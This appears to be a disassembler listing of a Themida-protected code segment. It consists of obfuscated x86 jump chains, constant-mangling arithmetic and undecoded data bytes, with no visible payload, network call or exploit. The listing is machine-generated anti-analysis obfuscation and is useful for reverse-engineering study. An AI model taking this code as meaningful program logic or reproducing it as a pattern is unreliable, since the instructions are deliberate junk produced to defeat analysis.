dd 295E0000h, 0E9F389DEh, 2A00h, 0ADCEE952h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54D116: ; CODE XREF: Themida_:00548C78j
pop ecx
jmp loc_546D43
; ---------------------------------------------------------------------------
dd 0F5281EB5h, 148EE9h, 5E08900h, 4, 0BCE95157h, 66FFFFA9h
dd 8124048Bh, 4ECh, 24048900h, 46E9E089h, 0ACFFFFB0h, 8904EC83h
dd 13E9240Ch, 0BD00001Ch, 1B100DC3h, 0FF48B850h, 34E909A1h
dd 0BEFFFF6Ch, 4, 685EF301h, 6143h, 0D39E9h, 0C3F18100h
dd 31432469h, 36E959CDh
db 0EFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54D183: ; CODE XREF: Themida_:0054FA1Ej
sub ax, 0D6h
mov edx, [esp]
add esp, 4
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 2
jmp loc_54AA1F
; ---------------------------------------------------------------------------
db 33h, 2Ch, 24h
dd 0FFBBD7E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54D1A9: ; CODE XREF: Themida_:0054B563j
push ebx
mov ebx, 13D73E5Dh
and ebx, 4F4F065Ah
sub ebx, 247207C6h
add ebx, 351E608Bh
neg ebx
add ebx, 9D53793Eh
add esi, 567459E7h
sub esi, ebx
sub esi, 567459E7h
mov ebx, [esp]
jmp loc_54D30A
; ---------------------------------------------------------------------------
loc_54D1DF: ; CODE XREF: Themida_:00545C8Fj
push ecx
jmp loc_548383
; ---------------------------------------------------------------------------
loc_54D1E5: ; CODE XREF: Themida_:0054DA52j
mov edi, [esp]
add esp, 4
sub esi, 0B7C73AFh
add esi, eax
add esi, 0B7C73AFh
jmp loc_54658E
; ---------------------------------------------------------------------------
db 89h, 2Ch, 24h
dd 0FF87C5E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54D209: ; CODE XREF: Themida_:00545929j
add ebp, 4
xchg ebp, [esp]
mov esp, [esp]
xchg eax, [esp]
pop esp
mov ax, [esp]
jmp loc_54E39E
; ---------------------------------------------------------------------------
dw 8953h
dd 4C381E3h, 0E9000000h, 0FFFFA622h
; ---------------------------------------------------------------------------
loc_54D230: ; CODE XREF: Themida_:0054BFEFj
sub esp, 4
jmp loc_5447E3
; ---------------------------------------------------------------------------
db 0E9h
dd 0FFFF67E0h, 6624248Bh, 9C240421h, 0FF67D3E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54D24D: ; CODE XREF: Themida_:0054802Cj
sub ecx, eax
pop eax
jmp loc_54C8B0
; ---------------------------------------------------------------------------
loc_54D255: ; CODE XREF: Themida_:005441D4j
add edi, esi
pop esi
add edi, 4
xchg edi, [esp]
pop esp
pop ebx
mov edi, [esp]
add esp, 4
jmp loc_54511E
; ---------------------------------------------------------------------------
db 0BFh
dd 4, 4247C01h, 24048B5Fh, 5504C483h, 7F52BB53h, 56BD50A2h
dd 2950A27Fh, 0E8015BDDh, 83242C8Bh, 20504C4h, 50000000h
dd 42474FFh, 24048F58h, 0FF92D6E9h, 4BE56FFh, 1000000h
dd 4DE95EF5h
db 0EDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54D2B3: ; CODE XREF: Themida_:0054D92Ej
movzx ecx, al
push 1482h
mov [esp], ecx
jmp loc_543A20
; ---------------------------------------------------------------------------
db 1
dd 0E904245Ch, 0BD5h, 16CE8146h, 0F7125277h, 81D6F7DEh
dd 4ECh, 0CA6EE900h, 0CB29FFFFh, 0A6EB8159h, 1015A3Ch
dd 8FEEE9C3h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54D2F2: ; CODE XREF: Themida_:0054A4ACj
push edi
mov edi, 0E873015h
dec edi
sub edi, 7FA34292h
add edi, 6493DA85h
jmp loc_5445F5
; ---------------------------------------------------------------------------
loc_54D30A: ; CODE XREF: Themida_:0054D1DAj
add esp, 4
and eax, esi
pop esi
or eax, eax
jz loc_546D46
push dword ptr [edi+28h]
push dword ptr [esp]
jmp loc_54B867
; ---------------------------------------------------------------------------
loc_54D323: ; CODE XREF: Themida_:005445E7j
pop ebp
add ebp, edi
pop edi
push ebx
push edx
mov edx, 4
mov ebx, edx
pop edx
jmp loc_54EC2D
; ---------------------------------------------------------------------------
dw 0EF80h
dd 1BF6E9F7h, 1C890000h, 81E38924h, 4C3h, 4BF5700h, 29000000h
dd 1C875FFBh, 4895C24h, 5E08924h, 4, 2646BF57h, 0E7C11EC2h
dd 149CE907h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54D36E: ; CODE XREF: Themida_:00544193j
push ebx
mov ebx, 6F8D2A96h
jmp loc_54A84B
; ---------------------------------------------------------------------------
db 89h, 0Ch, 24h
dd 0FF669FE9h, 2E1C1FFh, 1B43E9h
db 0
; ---------------------------------------------------------------------------
loc_54D389: ; CODE XREF: Themida_:00545DDFj
mov edx, 632E3355h
push ebp
push edi
mov edi, 4B9D23D5h
mov ebp, edi
mov edi, [esp]
jmp loc_546952
; ---------------------------------------------------------------------------
db 33h
dd 248B242Ch, 24040924h, 6672E99Ch, 0EA88FFFFh, 8853D2F6h
dd 5BFD88D7h, 0F5805A66h, 59E8009Bh, 0FFB94CE9h, 4C483FFh
dd 0E924048Fh, 0FFFFEF85h, 0A3E9EF29h
db 0A0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54D3D7: ; CODE XREF: Themida_:0054D6BFj
add bl, 0FDh
jmp loc_54ED5F
; ---------------------------------------------------------------------------
db 88h
dd 58C688E8h, 53D6F659h, 0FFE578E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54D3ED: ; CODE XREF: Themida_:0054E25Dj
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
pop esp
jmp loc_5484A3
; ---------------------------------------------------------------------------
db 80h
dd 79E903E9h, 0FFFFFF7Ah, 565F2434h, 0BA52E689h, 4, 24F6C681h
dd 67E9679Bh, 81FFFFFAh, 277F87EDh, 81F5012Ch, 277F87C5h
dd 24348B2Ch, 4C481h, 0B9510000h, 2, 0FFB669E9h, 88E781FFh
dd 816D8215h, 2A4878F7h, 863E92Dh, 0B9510000h, 534E4BCAh
dd 8159CE29h, 6B0BBDEEh, 0B6EE816Bh, 293F9335h, 0B6C681CEh
dd 813F9335h, 6B0BBDC6h, 0E41E96Bh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54D476: ; CODE XREF: Themida_:0054745Ej
shl ebp, 8
add ebp, 7D094A1Ch
add dword ptr [esp+4], 29725CA7h
add dword ptr [esp+4], 649D401Eh
sub [esp+4], ebp
sub dword ptr [esp+4], 649D401Eh
sub dword ptr [esp+4], 29725CA7h
pop ebp
push dword ptr [esp]
mov eax, [esp]
add esp, 4
jmp loc_54BF87
; ---------------------------------------------------------------------------
db 81h, 0C4h, 4
dd 58000000h, 0FFF66BE9h, 48B66FFh, 26C6824h, 65E90000h
db 9Ah, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54D4CF: ; CODE XREF: Themida_:00548DD4j
xor [esp], ax
pushf
jmp loc_543A20
; ---------------------------------------------------------------------------
loc_54D4D9: ; CODE XREF: Themida_:00548B6Ej
mov [esp], edx
mov edx, 76C45B25h
jmp loc_54EB20
; ---------------------------------------------------------------------------
dw 0B753h
dd 7C05E9A2h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54D4EE: ; CODE XREF: Themida_:0054A3CBj
add esp, 4
add esp, 4
sub [edi+24h], edx
push dword ptr [esp]
pop edx
push edx
jmp loc_54BDA9
; ---------------------------------------------------------------------------
db 8Bh
dd 0E9F72424h, 3C468h, 24148900h, 5E99C50h, 0BEFFFF65h
dd 3FCh, 2069E9h
db 0
; ---------------------------------------------------------------------------
loc_54D525: ; CODE XREF: Themida_:005442BBj
mov eax, esp
add eax, 4
push 1BEAh
mov [esp], ecx
mov ecx, 4
jmp loc_545E5B
; ---------------------------------------------------------------------------
dw 0C583h
dd 692DE9FFh, 0C8BFFFFh, 4C48124h, 81000000h, 0C6313AC1h
dd 59CF8901h, 815FFE01h, 2C6h, 24348700h, 0E924248Bh, 0FFFFCEB1h
dd 0E23056B2h, 0FF7958E9h, 4C083FFh, 0E9240487h, 0FFFFDD92h
dd 5C241487h, 0E9241C8Bh, 0FFFFAB06h, 0C89665Ch, 0B60F6624h
dd 9C5166C8h, 0FF6483E9h, 5FE948FFh, 5DFFFF97h, 4C581h
dd 0EC810000h, 4, 0E9240C89h, 0FFFF93AAh, 2215B850h, 5D2D0B44h
dd 0D12DD221h, 0DD8F7E8h, 2EA0026h, 7E628725h, 23272D2Bh
dd 0C301A772h, 0A1B0E958h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54D5DE: ; CODE XREF: Themida_:005443E3j
mov ebp, 6E67053Fh
jmp loc_54F48A
; ---------------------------------------------------------------------------
loc_54D5E8: ; CODE XREF: Themida_:0054A49Cj
mov ch, ah
mov dh, ch
mov ecx, [esp]
add esp, 4
pop eax
jmp loc_547F68
; ---------------------------------------------------------------------------
loc_54D5FB: ; CODE XREF: Themida_:00549033j
add ebp, 0F96B09ABh
add esi, ebp
pop ebp
pop edi
push ecx
jmp loc_54A4A1
; ---------------------------------------------------------------------------
db 0ADh
dd 0B951D831h, 28435E6h, 0F11E181h, 0E9D157C4h, 815F5457h
dd 4C7h, 4EF8100h, 57000000h, 42474FFh, 24048F5Fh, 240C895Ch
dd 592414F7h, 31F9E181h, 0E95252EAh, 1BE4h, 388068h, 24248900h
dd 4BD55h, 6C010000h, 90E90424h
db 11h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54D65F: ; CODE XREF: Themida_:0054D9F4j
add esi, edi
pop edi
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
pop esp
add esp, 4
idiv ecx
push 770Bh
jmp loc_5490D5
; ---------------------------------------------------------------------------
db 5Fh
dd 241C875Eh, 6824248Bh, 1D3Bh, 51241C89h, 0E9D188h
db 0B5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54D693: ; CODE XREF: Themida_:00549CEEj
sub eax, ebp
jmp loc_548771
; ---------------------------------------------------------------------------
loc_54D69A: ; CODE XREF: Themida_:00548971j
pop eax
add ebp, 4
jmp loc_54673B
; ---------------------------------------------------------------------------
db 51h
dd 4EC81h, 91E90000h, 88FFFFC6h, 0E986E9C6h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54D6B6: ; CODE XREF: Themida_:0054C556j
add esp, 4
sub bl, 0B7h
jmp loc_54D3D7
; ---------------------------------------------------------------------------
loc_54D6C4: ; CODE XREF: Themida_:0054DBE0j
pop ebp
add esi, ebx
pop ebx
jmp loc_548957
; ---------------------------------------------------------------------------
loc_54D6CD: ; CODE XREF: Themida_:0054624Fj
not ah
jmp loc_549B77
; ---------------------------------------------------------------------------
dd 2414895Ch, 31E95A54h, 81FFFFF5h, 0A82607CAh, 0DDE2813Ah
dd 4A433474h, 1D26E9h, 0DD8F700h, 1F3E2C80h, 7387C62Dh
dd 58C10172h, 4CE9F101h, 66000006h, 0E924048Bh, 0FFFFC431h
dd 0C8B665Ch, 7685524h, 8900003Fh, 4832424h, 2C8B0424h
dd 4C48324h, 4BE56h, 0F5010000h, 8124348Bh, 4C4h, 0BD555600h
dd 3E904FCEh, 6FB034BEh, 5DEE01C1h, 7899ED81h, 0F5012F51h
dd 7899C581h, 335E2F51h, 2C31242Ch, 242C3324h, 6624248Bh
dd 0E99CC885h, 0FFFF62B4h, 473E958h, 81590000h, 0AA3C85C7h
dd 81EF2910h, 0AA3C85EFh, 0B4EF8110h, 8B31F55Bh, 58E9242Ch
dd 5BFFFF92h, 66C2885Ah, 8324048Bh, 148602C4h, 0EB4BE924h
dd 74FFFFFFh, 8FE90424h, 0E9FFFF9Dh, 0FFFF6270h, 505C68h
dd 24248900h, 299E956h, 0C3810000h, 21714DAAh, 930FC381h
dd 0D929AFDBh, 81C1015Bh, 320088C1h, 2434FF09h, 8324048Bh
dd 0C48104C4h, 4, 0F3E9C821h, 1FFFFA2h, 0C6835BDEh, 48B86802h
dd 34890000h, 2474FF24h, 24348B04h, 0FFE389E9h, 0E9D601FFh
dd 0FFFFF47Ah
; ---------------------------------------------------------------------------
loc_54D80C: ; CODE XREF: Themida_:0054A909j
xor edi, eax
pop eax
add edi, 60CD4AACh
xchg edx, edi
not edx
jmp loc_54680B
; ---------------------------------------------------------------------------
dw 0E956h
dd 1DE3h, 5605EBC1h, 0FFF8D4E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54D82D: ; CODE XREF: Themida_:00544598j
add [esp+8], edi
mov edi, [esp]
add esp, 4
jmp loc_5472C7
; ---------------------------------------------------------------------------
dd 0AEC3815Ch, 515DC57Ah, 370DBA52h, 0D189641Ch, 0FF68B3E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54D851: ; CODE XREF: Themida_:0054E2D0j
or esi, edx
pop edx
xchg edi, esi
dec edi
push esi
push edi
jmp loc_549DB8
; ---------------------------------------------------------------------------
dw 3C33h
dd 1E21E924h, 0C4810000h, 4, 0CD3E9h, 0E972B700h, 0FFFF7BCEh
dd 9D1C77FFh, 14D35966h, 99E99C24h
db 61h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54D887: ; CODE XREF: Themida_:00546D52j
xchg ebx, [esp]
pop esp
mov [esp], esi
push edi
jmp loc_54EA0D
; ---------------------------------------------------------------------------
dd 0F537E950h, 0D800FFFFh, 0FF81A2E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54D8A1: ; CODE XREF: Themida_:00545AFEj
push 3A5C807Ah
pop ebp
add eax, 5F077B0Bh
jmp loc_546193
; ---------------------------------------------------------------------------
loc_54D8B1: ; CODE XREF: Themida_:00545CF7j
mov edx, [esp]
add esp, 4
jmp loc_54F11D
; ---------------------------------------------------------------------------
loc_54D8BF: ; CODE XREF: Themida_:00544135j
pop ebp
add ebx, ecx
pop ecx
add ebx, 4
push ebx
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
mov esp, [esp]
jmp loc_54EA37
; ---------------------------------------------------------------------------
db 29h
dd 0EC8358C3h, 0EA1BE904h, 0C380FFFFh, 0D988595Fh, 4E9C05Bh
dd 0E980C1FEh, 8BCB283Bh, 0C0E9240Ch, 0FFFFFFECh, 14F72077h
dd 20478F24h, 0FF6DB3E9h, 516658FFh, 0FF8E92E9h, 2DD8F7FFh
dd 6F4677D8h, 0BB53E0D1h, 27AB537Bh, 0FFA00DE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54D925: ; CODE XREF: Themida_:0054FB71j
xor [esp], ecx
xor ecx, [esp]
mov esp, [esp]
jmp loc_54D2B3
; ---------------------------------------------------------------------------
db 49h
dd 63C18141h, 19F7DD8h, 0DAF759CAh, 8931F281h, 0D08961C7h
dd 0FFD0A5E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54D94D: ; CODE XREF: Themida_:0054F615j
push ebx
jmp loc_54B5D1
; ---------------------------------------------------------------------------
db 56h
dd 9059CCBEh, 0E9E6D121h, 0FFFFE937h
; ---------------------------------------------------------------------------
loc_54D960: ; CODE XREF: Themida_:00545491j
sub ebx, 4
xchg ebx, [esp]
jmp loc_54BA8C
; ---------------------------------------------------------------------------
loc_54D96B: ; CODE XREF: Themida_:00545873j
add cl, 1
jmp loc_5494C3
; ---------------------------------------------------------------------------
db 83h
dd 148704C2h, 24248B24h, 68C8BF0Fh, 6F21h, 0FFF9F0E9h
dd 4C681FFh, 87000000h, 505C2434h, 1B68E089h, 89000077h
dd 4BF243Ch, 0E9000000h, 0FFFF6239h
; ---------------------------------------------------------------------------
loc_54D9A8: ; CODE XREF: Themida_:00543DD4j
pop ebp
or edx, eax
shl edx, 1
sub esp, 4
mov [esp], ebx
jmp loc_546D69
; ---------------------------------------------------------------------------
loc_54D9BB: ; CODE XREF: Themida_:0054E1B4j
add ebp, 3CC5FFAAh
push ecx
jmp loc_54A115
; ---------------------------------------------------------------------------
loc_54D9C7: ; CODE XREF: Themida_:0054AFB2j
mov [esp], edx
push esi
pop edx
pop esi
not esi
push edx
push esi
mov edx, [esp]
add esp, 4
pop esi
xor edi, edx
jmp loc_547B84
; ---------------------------------------------------------------------------
loc_54D9E2: ; CODE XREF: Themida_:00545CE8j
sub edi, 7D867DCDh
mov edx, edi
jmp loc_545CF4
; ---------------------------------------------------------------------------
loc_54D9EF: ; CODE XREF: Themida_:0054945Cj
mov edi, 4
jmp loc_54D65F
; ---------------------------------------------------------------------------
aFssw db 'fSéW',9,0
align 10h
dd 875BD901h, 39E9240Ch
db 0DFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54DA0B: ; CODE XREF: Themida_:00545572j
push dword ptr [esp]
pop esi
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
jmp loc_54A62C
; ---------------------------------------------------------------------------
db 81h
dd 4EBh, 241C8700h, 240C895Ch, 0FF7D8BE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54DA35: ; CODE XREF: Themida_:00545BC2j
pop esi
add ebp, 4
xchg ebp, [esp]
pop esp
add esp, 4
push 0AA6h
mov [esp], edi
mov edi, 11800317h
sub esi, edi
jmp loc_54D1E5
; ---------------------------------------------------------------------------
db 51h
dd 0F72391B9h, 2ABE5620h, 0C173CC7Dh, 0DEF703EEh, 0D73DE94Eh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54DA6E: ; CODE XREF: Themida_:0054A412j
jz loc_54A966
push dword ptr [edi+1Ch]
push dword ptr [esp]
jmp loc_547425
; ---------------------------------------------------------------------------
db 5
dd 53802A10h, 102DF829h, 5F53802Ah, 0FFA7ADE9h, 0E9C801FFh
dd 20Ch, 0AA60E954h, 0C831FFFFh, 2090E9h
db 0
; ---------------------------------------------------------------------------
loc_54DAA5: ; CODE XREF: Themida_:0054BE51j
sub esi, 2FDA7BB9h
sub ebx, esi
pop esi
xchg ebx, [esp]
mov esp, [esp]
mov [esp], ax
jmp loc_543A20
; ---------------------------------------------------------------------------
db 81h, 0C1h, 5Ch
dd 132C8C0h, 0AA45E9CEh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54DACA: ; CODE XREF: Themida_:0054F4FBj
xchg edi, [esp]
pop esp
pop edx
jmp loc_5465D2
; ---------------------------------------------------------------------------
dd 54241C89h, 0C18BE95Bh, 0E95CFFFFh, 0FFFF7EA3h
; ---------------------------------------------------------------------------
loc_54DAE4: ; CODE XREF: Themida_:00544CFBj
push ebx
push esp
pop ebx
jmp loc_54BF50
; ---------------------------------------------------------------------------
aFzC db 'fZ,C',0
db 0E8h, 4, 43h
dd 0E92434FFh, 0FFFFB59Fh
; ---------------------------------------------------------------------------
loc_54DAFC: ; CODE XREF: Themida_:0054413Ej
neg eax
xor ebx, eax
xor eax, ebx
xor ebx, eax
push edx
mov edx, 6FC33CC1h
xor edx, 0ED047E4h
xor edx, 445F73A9h
sub ebx, edx
pop edx
and ebx, 32166160h
push 470Ch
mov [esp], eax
jmp loc_54881A
; ---------------------------------------------------------------------------
dd 0C281E289h, 4, 8704C283h, 815C2414h, 2C5h, 912E900h
dd 48B0000h, 3CE95024h
db 0ECh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54DB4F: ; CODE XREF: Themida_:0054A1A9j
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
shr eax, 18h
xor eax, ecx
push ebp
push esp
pop ebp
push ebx
jmp loc_549E32
; ---------------------------------------------------------------------------
db 0BEh
dd 5309464Dh, 0AFF13FBAh, 5EF201CDh, 3F0868h, 24048900h
dd 0FF6CACE9h, 5E96E9FFh, 0E950FFFFh, 0FFFFE7FBh, 0FFC68146h
dd 81FFFFFFh, 0A03AAFF6h, 0F879E981h, 875AFFFFh, 90E92434h
dd 0F7FFFFE2h, 0E69C2DD8h, 76E9912Fh, 0FFFFCBh, 0F1B353E6h
dd 0A2F380h, 48B5BDEh, 4C48124h, 88000000h, 0D5E95AF5h
db 7Fh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54DBD3: ; CODE XREF: Themida_:0054C328j
mov ebx, 49B815B4h
push ebp
mov ebp, 72A43D2Bh
add ebx, ebp
jmp loc_54D6C4
; ---------------------------------------------------------------------------
db 0F7h, 0D0h, 96h
dd 4EC81h, 1C890000h, 146CBB24h, 0EB8154C2h, 4D4743FCh
dd 0FF7DB2E9h, 44E95FFFh, 89FFFF7Ch, 8B542414h, 0C4812414h
dd 4, 425BBF57h, 0F7810084h, 5BA3769Ch, 7532EF81h, 0E7C11596h
dd 16F78102h, 5206714Dh, 33B33EBAh, 5E8FE910h, 8B66FFFFh
dd 9F68240Ch, 89000012h, 0FDE9241Ch, 0F7FFFFF9h, 0C28142DAh
dd 3D57660Dh, 505AD701h, 6E14BB53h, 72E9039Dh, 3100000Dh
dd 1C33241Ch, 24248B24h, 0FF98CFE9h, 243C89FFh, 0FF6577E9h
dd 0DA1BAFFh, 0E281222Ch, 34A6678Eh, 0FFDE47E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54DC89: ; CODE XREF: Themida_:0054BAE2j
inc edx
jmp loc_54E8EB
; ---------------------------------------------------------------------------
loc_54DC8F: ; CODE XREF: Themida_:0054B4FCj
push dword ptr [esp]
pop edi
add esp, 4
or eax, eax
jz loc_54AE8D
push ecx
jmp loc_549D2A
; ---------------------------------------------------------------------------
dd 4C08359h, 5C240487h, 0FFD67AE9h, 0E9FB01FFh, 0FFFFF9C3h
dd 0F3E9C888h, 0FFFFFF7Ah, 48B2434h, 6EE95224h, 8BFFFF68h
dd 8B662424h, 89502404h, 405E0h, 9DE90000h, 0FFFFFFD9h
dd 0C8B2434h, 9CC6E924h, 0F181FFFFh, 5B4E66FEh, 6859C829h
dd 4B23h, 0FFBD21E9h, 32CA68FFh, 14890000h, 91B85024h
dd 0BA24A14Ah, 0A4D2ED3h, 0A3E9C201h, 87FFFFACh, 535C241Ch
dd 74DA6850h, 685862ABh, 7719h, 0E9243489h, 0FFFFD3D3h
dd 240C335Eh, 33240C31h, 8B5C240Ch, 2B682404h, 0E9000014h
dd 0FFFFEAF9h, 31243C33h, 29E9243Ch, 81FFFF8Bh, 4C26D6E9h
dd 865CE96Dh, 0BB53FFFFh, 4, 0FF8A87E9h, 0BBFFh, 0DCE90000h
dd 5BFFFFD6h, 4968D801h, 89000032h, 5DE92434h, 81FFFFEEh
dd 62408DC6h, 0DAB8504Eh, 0D043D20h, 7F513CCFh, 14474705h
dd 0CD9F050Ch, 0EE81FBE3h, 29612189h, 139FE9h, 2474FF00h
dd 241C8B04h, 4C481h, 48F0000h, 24248B24h, 4B30F66h, 0FBE99C24h
dd 66FFFFDAh, 83F7B652h, 1C8904ECh, 0E911B724h, 0FFFFEA62h
dd 81E78957h, 4ECh, 24348900h, 1BDBE957h, 0CF010000h, 2C78159h
dd 68000000h, 6E4Dh, 0FF243C89h, 5F042474h, 8B24048Fh
dd 4002424h, 11E99C24h
db 5Ch, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54DE0F: ; CODE XREF: Themida_:00545D0Fj
push esp
pop ecx
push edi
mov edi, 3DCE6D5Eh
shr edi, 6
jmp loc_546384
; ---------------------------------------------------------------------------
db 0B9h
dd 670B64BBh, 0F759CD21h, 20F581DDh, 0C10C9839h, 0BE5608E5h
dd 6DC2CC04h, 0E95EF529h, 16FAh
; ---------------------------------------------------------------------------
loc_54DE40: ; CODE XREF: Themida_:0054B9A9j
pop edi
add ebp, 2
xor ebp, [esp]
jmp loc_546925
; ---------------------------------------------------------------------------
loc_54DE4C: ; CODE XREF: Themida_:0054497Aj
push ecx
push esp
jmp loc_54643A
; ---------------------------------------------------------------------------
loc_54DE53: ; CODE XREF: Themida_:0054B5F5j
mov dword ptr [edx+38h], 0F525D54h
push ebx
mov ebx, 2604CF8h
sub ebx, 156F6F5Ah
xor ebx, 0ECF0DDA6h
add ebx, 6A836F6Eh
add ebx, edx
sub ebx, 6A836F6Eh
push 397Dh
jmp loc_54AEDB
; ---------------------------------------------------------------------------
dd 240C8B66h, 34FF5457h, 243C8B24h, 5004C483h, 0B951E089h
dd 4, 0FFFBF0E9h, 2434FFFFh, 4C4835Bh, 0FCDCE95Fh, 0C89FFFFh
dd 1F65B924h, 0C9815E6Eh, 23BE1CE4h, 2FE2E181h, 0B0E94726h
dd 89FFFFB2h, 0EA682434h, 8B58EE5Eh, 0C4812434h, 4, 0A11AC681h
dd 91E9A711h
db 0E1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54DEE3: ; CODE XREF: Themida_:0054C163j
mov [esp], ebx
mov ebx, 48E86E5Ah
push ebx
push eax
mov eax, 9993AAD4h
jmp loc_54CD1A
; ---------------------------------------------------------------------------
db 89h
dd 0F0B5240Ch, 8904EC83h, 0E589242Ch, 4C581h, 0ED830000h
dd 242C8704h, 8813E95Ch, 0C8BFFFFh, 83D0E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54DF1E: ; CODE XREF: Themida_:00549F4Bj
sub edx, esi
jmp loc_548374
; ---------------------------------------------------------------------------
db 58h, 28h, 0C3h
dd 666AC380h, 8124048Bh, 2C4h, 0C0B60F00h, 0FF90C2E9h
dd 59C800FFh, 0C104C004h, 0C12CD800h, 0FFBC7DE9h, 0B55166FFh
dd 78C0E9CDh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54DF56: ; CODE XREF: Themida_:0054F125j
push ebp
mov ebp, 4
sub eax, ebp
pop ebp
xchg eax, [esp]
mov esp, [esp]
mov [esp], edx
jmp loc_54C01D
; ---------------------------------------------------------------------------
db 51h, 0B1h, 95h
dd 0C8BCA00h, 4C48124h, 80000000h, 63E9E3C2h
db 0F5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54DF83: ; CODE XREF: Themida_:005463F2j
neg ch
neg ch
add ch, 87h
xor ah, ch
jmp loc_545D76
; ---------------------------------------------------------------------------
loc_54DF91: ; CODE XREF: Themida_:0054E453j
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
pop esp
jmp loc_5440AF
; ---------------------------------------------------------------------------
dd 59B65253h, 0F65AF788h, 0D126E9D7h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54DFAE: ; CODE XREF: Themida_:0054BC0Dj
add esp, 4
push esi
mov esi, ecx
mov edx, esi
pop esi
mov ecx, [esp]
add esp, 4
or edx, 4C0A72FCh
add edx, 0A3548103h
jmp loc_549FEB
; ---------------------------------------------------------------------------
db 31h, 0D8h, 81h
dd 4ECh, 631CE900h, 3C87FFFFh, 24248B24h, 2A2B68h, 241C8900h
dd 1021E9h
db 0
; ---------------------------------------------------------------------------
loc_54DFF1: ; CODE XREF: Themida_:0054A627j
xchg eax, [esp]
pop esp
mov [esp], ecx
push esi
mov esi, 3AFC215Eh
mov ecx, esi
pop esi
shl ecx, 2
shl ecx, 1
sub ecx, 7C83EBD1h
sub ebx, ecx
mov ecx, [esp]
jmp loc_54CB41
; ---------------------------------------------------------------------------
loc_54E016: ; CODE XREF: Themida_:0054BF8Aj
add esi, 4
add esi, 4
xchg esi, [esp]
jmp loc_54BFF4
; ---------------------------------------------------------------------------
aYsh db 'Yéh',9,0
db 0
; ---------------------------------------------------------------------------
loc_54E02D: ; CODE XREF: Themida_:0054CC81j
mov ebp, 1E2D1F8Dh
add ebp, 45F003D0h
inc ebp
jmp loc_545D14
; ---------------------------------------------------------------------------
dw 0C483h
db 4
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_549D5F
; ---------------------------------------------------------------------------
dw 0DBF7h
dd 0EB81DBF7h, 409899B7h, 15BDE31h, 9602E9F3h, 487FFFFh
dd 89565C24h, 4C681E6h, 81000000h, 4EEh, 24348700h, 243C895Ch
dd 1BFh, 0FFF92100h, 3C8B2434h, 4C48324h, 8904EC83h, 0E189240Ch
dd 2A64BE56h, 0E6C115F7h, 0DFCE8108h, 0E9695822h, 49Fh
dd 56242C8Bh, 2DE9E689h, 29FFFF5Eh, 0C7815BDFh, 7CF6127Bh
dd 0E95FF929h, 0FFFFEF9Eh
; ---------------------------------------------------------------------------
loc_54E0CC: ; CODE XREF: Themida_:0054BF34j
push ecx
pop ebx
mov ecx, [esp]
jmp loc_54413A
; ---------------------------------------------------------------------------
aXa db 'X€Ã½',0
db 0D3h
dd 5ABDEB80h, 1684E9h, 24048F00h, 0FFF5E7E9h, 1BF57FFh
dd 814A0511h, 1520DBEBh, 81FB290Ah, 1520DBC3h, 0C6815F0Ah
dd 30927CFDh, 0E950DE29h, 0FFFFE4DAh
; ---------------------------------------------------------------------------
loc_54E110: ; CODE XREF: Themida_:00547E18j
mov esp, [esp]
add esp, 4
push dword ptr [esp]
push dword ptr [esp]
mov edx, [esp]
add esp, 4
sub esp, 4
mov [esp], esi
mov esi, esp
push edi
mov edi, 118C1D60h
add edi, 0A74744Dh
inc edi
shr edi, 1
push edx
jmp loc_54CEEA
; ---------------------------------------------------------------------------
db 5Ch, 89h, 2Ch
dd 3155BD24h, 0D4E95C7Dh
db 6Ch, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54E153: ; CODE XREF: Themida_:00548E85j
add esp, 4
and ecx, esi
push dword ptr [esp]
mov esi, [esp]
add esp, 4
push 660Ch
mov [esp], ebx
mov ebx, esp
push ecx
jmp loc_546CBD
; ---------------------------------------------------------------------------
loc_54E171: ; CODE XREF: Themida_:0054C1C9j
shl edx, 5
shr edx, 6
jmp loc_5458A6
; ---------------------------------------------------------------------------
dd 0E959CA89h, 0FFFFD398h, 0E924148Bh, 0FFFFDC6Bh
; ---------------------------------------------------------------------------
